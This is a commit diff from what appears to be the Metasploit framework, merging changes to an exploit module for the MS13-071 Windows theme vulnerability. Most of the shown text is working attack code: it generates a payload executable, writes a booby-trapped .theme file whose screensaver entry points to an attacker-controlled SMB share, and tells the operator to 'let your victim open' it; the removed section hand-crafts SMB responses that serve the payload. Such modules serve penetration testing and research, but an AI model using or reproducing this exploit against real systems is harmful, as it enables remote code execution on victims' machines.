Solve conflicts on ms13_071_theme
This commit is contained in:
jvazquez-r7
commit
b9ed8178a9
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@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::EXE
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include Msf::Exploit::EXE
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include Msf::Exploit::Remote::SMB::Server
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include Msf::Exploit::Remote::SMB::Server::Share
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def initialize(info={})
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def initialize(info={})
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super(update_info(info,
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super(update_info(info,
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@ -28,7 +28,8 @@ class Metasploit3 < Msf::Exploit::Remote
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'Author' =>
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'Author' =>
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[
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[
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'Eduardo Prado', # Vulnerability discovery
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'Eduardo Prado', # Vulnerability discovery
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'juan vazquez' # Metasploit module
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'juan vazquez', # Metasploit module
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'Matthew Hall <hallm@sec-1.com>' # Metasploit module refactored to use Remote::SMBFileServer
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],
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],
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'References' =>
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'References' =>
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[
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[
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@ -56,30 +57,18 @@ class Metasploit3 < Msf::Exploit::Remote
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'Privileged' => false,
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'Privileged' => false,
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'DisclosureDate' => "Sep 10 2013",
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'DisclosureDate' => "Sep 10 2013",
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'DefaultTarget' => 0))
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'DefaultTarget' => 0))
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register_options(
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register_options(
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[
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[
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OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),
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OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),
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OptString.new('UNCPATH', [ false, 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share\\exploit.scr)' ])
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OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr'])
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], self.class)
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], self.class)
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deregister_options('FILE_CONTENTS')
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end
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end
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def exploit
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def exploit
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if (datastore['UNCPATH'])
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@unc = datastore['UNCPATH']
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print_status("Remember to share the malicious EXE payload as #{@unc}")
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else
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print_status("Generating our malicious executable...")
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@exe = generate_payload_exe
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my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
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@share = rand_text_alpha(5 + rand(5))
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@scr_file = "#{rand_text_alpha(5 + rand(5))}.scr"
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@hi, @lo = UTILS.time_unix_to_smb(Time.now.to_i)
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@unc = "\\\\#{my_host}\\#{@share}\\#{@scr_file}"
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end
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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self.file_contents = generate_payload_exe
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print_status("Malicious SCR available on #{unc}...")
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# Default Windows XP / 2003 theme modified
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# Default Windows XP / 2003 theme modified
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theme = <<-EOF
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theme = <<-EOF
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; Copyright (c) Microsoft Corp. 1995-2001
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; Copyright (c) Microsoft Corp. 1995-2001
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@ -118,316 +107,6 @@ SCRNSAVE.EXE=#{@unc}
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MTSM=DABJDKT
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MTSM=DABJDKT
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EOF
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EOF
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file_create(theme)
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file_create(theme)
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print_good("Let your victim open #{datastore['FILENAME']}")
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if not datastore['UNCPATH']
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print_status("Ready to deliver your payload on #{@unc}")
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super
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end
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end
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# TODO: these smb_* methods should be moved up to the SMBServer mixin
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# development and test on progress
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def smb_cmd_dispatch(cmd, c, buff)
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smb = @state[c]
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vprint_status("Received command #{cmd} from #{smb[:name]}")
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pkt = CONST::SMB_BASE_PKT.make_struct
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pkt.from_s(buff)
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#Record the IDs
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smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
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smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
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smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
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smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
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case cmd
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when CONST::SMB_COM_NEGOTIATE
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smb_cmd_negotiate(c, buff)
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when CONST::SMB_COM_SESSION_SETUP_ANDX
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wordcount = pkt['Payload']['SMB'].v['WordCount']
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if wordcount == 0x0D # It's the case for Share Security Mode sessions
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smb_cmd_session_setup(c, buff)
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else
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vprint_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")
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smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
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end
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when CONST::SMB_COM_TRANSACTION2
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smb_cmd_trans(c, buff)
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when CONST::SMB_COM_NT_CREATE_ANDX
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smb_cmd_create(c, buff)
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when CONST::SMB_COM_READ_ANDX
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smb_cmd_read(c, buff)
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else
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vprint_status("SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})")
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smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
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end
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end
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def smb_cmd_negotiate(c, buff)
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pkt = CONST::SMB_NEG_PKT.make_struct
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pkt.from_s(buff)
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dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
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dialect = dialects.index("NT LM 0.12") || dialects.length-1
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pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
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smb_set_defaults(c, pkt)
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time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
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pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
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pkt['Payload']['SMB'].v['Flags1'] = 0x88
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pkt['Payload']['SMB'].v['Flags2'] = 0xc001
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pkt['Payload']['SMB'].v['WordCount'] = 17
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pkt['Payload'].v['Dialect'] = dialect
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pkt['Payload'].v['SecurityMode'] = 2 # SHARE Security Mode
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pkt['Payload'].v['MaxMPX'] = 50
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pkt['Payload'].v['MaxVCS'] = 1
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pkt['Payload'].v['MaxBuff'] = 4356
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pkt['Payload'].v['MaxRaw'] = 65536
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pkt['Payload'].v['SystemTimeLow'] = time_lo
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pkt['Payload'].v['SystemTimeHigh'] = time_hi
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pkt['Payload'].v['ServerTimeZone'] = 0x0
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pkt['Payload'].v['SessionKey'] = 0
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pkt['Payload'].v['Capabilities'] = 0x80f3fd
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pkt['Payload'].v['KeyLength'] = 8
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pkt['Payload'].v['Payload'] = Rex::Text.rand_text_hex(8)
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c.put(pkt.to_s)
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end
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def smb_cmd_session_setup(c, buff)
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pkt = CONST::SMB_SETUP_RES_PKT.make_struct
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smb_set_defaults(c, pkt)
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pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
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pkt['Payload']['SMB'].v['Flags1'] = 0x88
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pkt['Payload']['SMB'].v['Flags2'] = 0xc001
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pkt['Payload']['SMB'].v['WordCount'] = 3
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pkt['Payload'].v['AndX'] = 0x75
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pkt['Payload'].v['Reserved1'] = 00
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pkt['Payload'].v['AndXOffset'] = 96
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pkt['Payload'].v['Action'] = 0x1 # Logged in as Guest
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pkt['Payload'].v['Payload'] =
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Rex::Text.to_unicode("Unix", 'utf-16be') + "\x00\x00" + # Native OS # Samba signature
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Rex::Text.to_unicode("Samba 3.4.7", 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature
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Rex::Text.to_unicode("WORKGROUP", 'utf-16be') + "\x00\x00\x00" + # Primary DOMAIN # Samba signature
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tree_connect_response = ""
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tree_connect_response << [7].pack("C") # Tree Connect Response : WordCount
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tree_connect_response << [0xff].pack("C") # Tree Connect Response : AndXCommand
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tree_connect_response << [0].pack("C") # Tree Connect Response : Reserved
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tree_connect_response << [0].pack("v") # Tree Connect Response : AndXOffset
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tree_connect_response << [0x1].pack("v") # Tree Connect Response : Optional Support
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tree_connect_response << [0xa9].pack("v") # Tree Connect Response : Word Parameter
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tree_connect_response << [0x12].pack("v") # Tree Connect Response : Word Parameter
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tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter
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tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter
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tree_connect_response << [13].pack("v") # Tree Connect Response : ByteCount
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tree_connect_response << "A:\x00" # Service
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tree_connect_response << "#{Rex::Text.to_unicode("NTFS")}\x00\x00" # Extra byte parameters
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# Fix the Netbios Session Service Message Length
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# to have into account the tree_connect_response,
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# need to do this because there isn't support for
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# AndX still
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my_pkt = pkt.to_s + tree_connect_response
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original_length = my_pkt[2, 2].unpack("n").first
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original_length = original_length + tree_connect_response.length
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my_pkt[2, 2] = [original_length].pack("n")
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c.put(my_pkt)
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end
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def smb_cmd_create(c, buff)
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pkt = CONST::SMB_CREATE_PKT.make_struct
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pkt.from_s(buff)
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if pkt['Payload'].v['Payload'] =~ /#{Rex::Text.to_unicode("#{@scr_file}\x00")}/
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pkt = CONST::SMB_CREATE_RES_PKT.make_struct
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smb_set_defaults(c, pkt)
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pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
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pkt['Payload']['SMB'].v['Flags1'] = 0x88
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pkt['Payload']['SMB'].v['Flags2'] = 0xc001
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pkt['Payload']['SMB'].v['WordCount'] = 42
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pkt['Payload'].v['AndX'] = 0xff # no further commands
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pkt['Payload'].v['OpLock'] = 0x2
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# No need to track fid here, we're just offering one file
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pkt['Payload'].v['FileID'] = rand(0x7fff) + 1 # To avoid fid = 0
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pkt['Payload'].v['Action'] = 0x1 # The file existed and was opened
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pkt['Payload'].v['CreateTimeLow'] = @lo
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pkt['Payload'].v['CreateTimeHigh'] = @hi
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pkt['Payload'].v['AccessTimeLow'] = @lo
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pkt['Payload'].v['AccessTimeHigh'] = @hi
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pkt['Payload'].v['WriteTimeLow'] = @lo
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pkt['Payload'].v['WriteTimeHigh'] = @hi
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pkt['Payload'].v['ChangeTimeLow'] = @lo
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pkt['Payload'].v['ChangeTimeHigh'] = @hi
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pkt['Payload'].v['Attributes'] = 0x80 # Ordinary file
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pkt['Payload'].v['AllocLow'] = 0x100000
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pkt['Payload'].v['AllocHigh'] = 0
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pkt['Payload'].v['EOFLow'] = @exe.length
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pkt['Payload'].v['EOFHigh'] = 0
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pkt['Payload'].v['FileType'] = 0
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pkt['Payload'].v['IPCState'] = 0x7
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pkt['Payload'].v['IsDirectory'] = 0
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c.put(pkt.to_s)
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else
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pkt = CONST::SMB_CREATE_RES_PKT.make_struct
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smb_set_defaults(c, pkt)
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pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
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pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 # OBJECT_NAME_NOT_FOUND
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pkt['Payload']['SMB'].v['Flags1'] = 0x88
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pkt['Payload']['SMB'].v['Flags2'] = 0xc001
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c.put(pkt.to_s)
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end
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end
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def smb_cmd_read(c, buff)
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pkt = CONST::SMB_READ_PKT.make_struct
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pkt.from_s(buff)
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offset = pkt['Payload'].v['Offset']
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length = pkt['Payload'].v['MaxCountLow']
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pkt = CONST::SMB_READ_RES_PKT.make_struct
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smb_set_defaults(c, pkt)
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pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX
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pkt['Payload']['SMB'].v['Flags1'] = 0x88
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pkt['Payload']['SMB'].v['Flags2'] = 0xc001
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pkt['Payload']['SMB'].v['WordCount'] = 12
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pkt['Payload'].v['AndX'] = 0xff # no more commands
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pkt['Payload'].v['Remaining'] = 0xffff
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pkt['Payload'].v['DataLenLow'] = length
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pkt['Payload'].v['DataOffset'] = 59
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pkt['Payload'].v['DataLenHigh'] = 0
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pkt['Payload'].v['Reserved3'] = 0
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pkt['Payload'].v['Reserved4'] = 6
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pkt['Payload'].v['ByteCount'] = length
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pkt['Payload'].v['Payload'] = @exe[offset, length]
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c.put(pkt.to_s)
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end
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def smb_cmd_trans(c, buff)
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pkt = CONST::SMB_TRANS2_PKT.make_struct
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pkt.from_s(buff)
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sub_command = pkt['Payload'].v['SetupData'].unpack("v").first
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case sub_command
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when 0x5 # QUERY_PATH_INFO
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smb_cmd_trans_query_path_info(c, buff)
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when 0x1 # FIND_FIRST2
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smb_cmd_trans_find_first2(c, buff)
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else
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pkt = CONST::SMB_TRANS_RES_PKT.make_struct
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smb_set_defaults(c, pkt)
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pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
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pkt['Payload']['SMB'].v['Flags1'] = 0x88
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pkt['Payload']['SMB'].v['Flags2'] = 0xc001
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pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000225 # NT_STATUS_NOT_FOUND
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c.put(pkt.to_s)
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end
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end
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def smb_cmd_trans_query_path_info(c, buff)
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pkt = CONST::SMB_TRANS2_PKT.make_struct
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pkt.from_s(buff)
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if pkt['Payload'].v['SetupData'].length < 16
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# if QUERY_PATH_INFO_PARAMETERS doesn't include a file name,
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# return a Directory answer
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pkt = CONST::SMB_TRANS_RES_PKT.make_struct
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smb_set_defaults(c, pkt)
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pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
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pkt['Payload']['SMB'].v['Flags1'] = 0x88
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pkt['Payload']['SMB'].v['Flags2'] = 0xc001
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pkt['Payload']['SMB'].v['WordCount'] = 10
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pkt['Payload'].v['ParamCountTotal'] = 2
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pkt['Payload'].v['DataCountTotal'] = 40
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pkt['Payload'].v['ParamCount'] = 2
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pkt['Payload'].v['ParamOffset'] = 56
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pkt['Payload'].v['DataCount'] = 40
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pkt['Payload'].v['DataOffset'] = 60
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pkt['Payload'].v['Payload'] =
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"\x00" + # Padding
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# QUERY_PATH_INFO Parameters
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"\x00\x00" + # EA Error Offset
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"\x00\x00" + # Padding
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#QUERY_PATH_INFO Data
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[@lo, @hi].pack("VV") + # Created
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[@lo, @hi].pack("VV") + # Last Access
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[@lo, @hi].pack("VV") + # Last Write
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[@lo, @hi].pack("VV") + # Change
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"\x10\x00\x00\x00" + # File attributes => directory
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"\x00\x00\x00\x00" # Unknown
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c.put(pkt.to_s)
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else
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# if QUERY_PATH_INFO_PARAMETERS includes a file name,
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# returns an object name not found error
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pkt = CONST::SMB_TRANS_RES_PKT.make_struct
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smb_set_defaults(c, pkt)
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pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
|
|
||||||
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 #OBJECT_NAME_NOT_FOUND
|
|
||||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
||||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
|
||||||
c.put(pkt.to_s)
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def smb_cmd_trans_find_first2(c, buff)
|
|
||||||
|
|
||||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
|
||||||
smb_set_defaults(c, pkt)
|
|
||||||
|
|
||||||
file_name = Rex::Text.to_unicode(@scr_file)
|
|
||||||
|
|
||||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
|
|
||||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
||||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
|
||||||
pkt['Payload']['SMB'].v['WordCount'] = 10
|
|
||||||
pkt['Payload'].v['ParamCountTotal'] = 10
|
|
||||||
pkt['Payload'].v['DataCountTotal'] = 94 + file_name.length
|
|
||||||
pkt['Payload'].v['ParamCount'] = 10
|
|
||||||
pkt['Payload'].v['ParamOffset'] = 56
|
|
||||||
pkt['Payload'].v['DataCount'] = 94 + file_name.length
|
|
||||||
pkt['Payload'].v['DataOffset'] = 68
|
|
||||||
pkt['Payload'].v['Payload'] =
|
|
||||||
"\x00" + # Padding
|
|
||||||
# FIND_FIRST2 Parameters
|
|
||||||
"\xfd\xff" + # Search ID
|
|
||||||
"\x01\x00" + # Search count
|
|
||||||
"\x01\x00" + # End Of Search
|
|
||||||
"\x00\x00" + # EA Error Offset
|
|
||||||
"\x00\x00" + # Last Name Offset
|
|
||||||
"\x00\x00" + # Padding
|
|
||||||
#QUERY_PATH_INFO Data
|
|
||||||
[94 + file_name.length].pack("V") + # Next Entry Offset
|
|
||||||
"\x00\x00\x00\x00" + # File Index
|
|
||||||
[@lo, @hi].pack("VV") + # Created
|
|
||||||
[@lo, @hi].pack("VV") + # Last Access
|
|
||||||
[@lo, @hi].pack("VV") + # Last Write
|
|
||||||
[@lo, @hi].pack("VV") + # Change
|
|
||||||
[@exe.length].pack("V") + "\x00\x00\x00\x00" + # End Of File
|
|
||||||
"\x00\x00\x10\x00\x00\x00\x00\x00" + # Allocation size
|
|
||||||
"\x80\x00\x00\x00" + # File attributes => directory
|
|
||||||
[file_name.length].pack("V") + # File name len
|
|
||||||
"\x00\x00\x00\x00" + # EA List Lenght
|
|
||||||
"\x00" + # Short file lenght
|
|
||||||
"\x00" + # Reserved
|
|
||||||
("\x00" * 24) +
|
|
||||||
file_name
|
|
||||||
|
|
||||||
c.put(pkt.to_s)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue